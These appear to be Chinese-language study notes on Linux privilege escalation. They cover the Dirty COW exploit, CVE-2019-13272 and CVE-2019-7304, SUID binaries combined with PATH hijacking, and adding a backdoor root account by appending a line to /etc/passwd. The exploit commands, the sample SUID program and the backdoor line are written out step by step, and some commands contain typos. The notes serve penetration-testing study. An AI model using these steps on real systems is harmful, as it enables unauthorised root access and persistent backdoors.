linux提权信息收集
Exploit Database - Exploits for Penetration Testers, Researchers, and Ethical Hackers
Vulnerability & Exploit Database - Rapid7
NVD - Home
CVE -CVE
SecWiki · GitHub
linux系统内核漏洞提权
脏牛提权漏洞:
脏牛提权:GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195
使用dirty.c脚本进行提权
gcc -pthread dirty.c -o dirty -lcrypt
将exp一下载到本地,使用命令对dirty.c进行编译生成一个dirty的可执行文件
执行 ./dirty password 命令,成功后会创建一个新用户firefart(root权限)
CVE-2019-13272
linux本地提权,漏洞范围:4.10 < linux内核版本 < 5.1.17
exploitdb:Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation - Linux local Exploit
利用exp:
https://www.exploit-db.com/download/47163
CVE-2019-7304
Linux包管理器snap本地提权漏洞
Ubuntu版本范围:
Ubuntu 18.10、18.04 LTS、16.04 LTS、14.04 LTS
snap版本 2.28 < snapd < 2.37
linux环境变量提权
PATH是Linux和类Unix操作系统中的环境,它指定存储可 执行程序的所有bin和sbin目录。
suid权限说明:
1、启动为进程之后,其进程的属主为原程序文件的属主
2、只能作用在二进制程序上,不能作用在 脚本上,且设置在目录上无意义
3、执行suid权限的进程时,此用户将继承此程序的所有者权限
可获得主程序的权限执行,这就是后面执行whoami的时候为root的原因。
操作:
准备阶段:
1.现在有这样一个程序test,用户test需要用它执行ps命令,并且需要SUID权限:
//test.c
#include<stdlib.h>
#include <unistd.h>
int main()
{
setuid(0);//run as root
setgid(0);
system("ps");
}
2.编译并且赋予SUID权限:
gcc test.c -o test
chmod u+s test
操作阶段:
1、查找具有suid权限的程序:
find / -perm -u=s -type f 2>/dev/null
2、到tep中创建一个ps赋予权限
echo /bin/bash > ps
chmod 777 > ps
3、添加环境变量,这时我们可以在任何位置调用ps
export PATH=/tmp:$PATH
4、执行test
内网提权:suid+劫持环境变量提权_自知.的博客-CSDN博客
密码哈希
/etc/passwd:
所有用户都可以查看,存储着所有用户的信息,每行代表一个用户,每一行通过:分为七个部分
这里是通过uid和cid为0来区分权限的,都为0的时候就是root,我们可以使用这个来添加后门账户
添加账户:
┌──(root💀kali)-[/home/hjw123]
└─# openssl passwd 123456
8N6pnxadTVZPU
echo 'hack:8N6pnxadTVZPU:0:0::/root/:/etc/bash' >>/etc/passwd
/etc/shadow:
只有root用户能够查看,保存加密后的密码和用户相关密码信息,每个用户一行,每一行通过:分为九个部分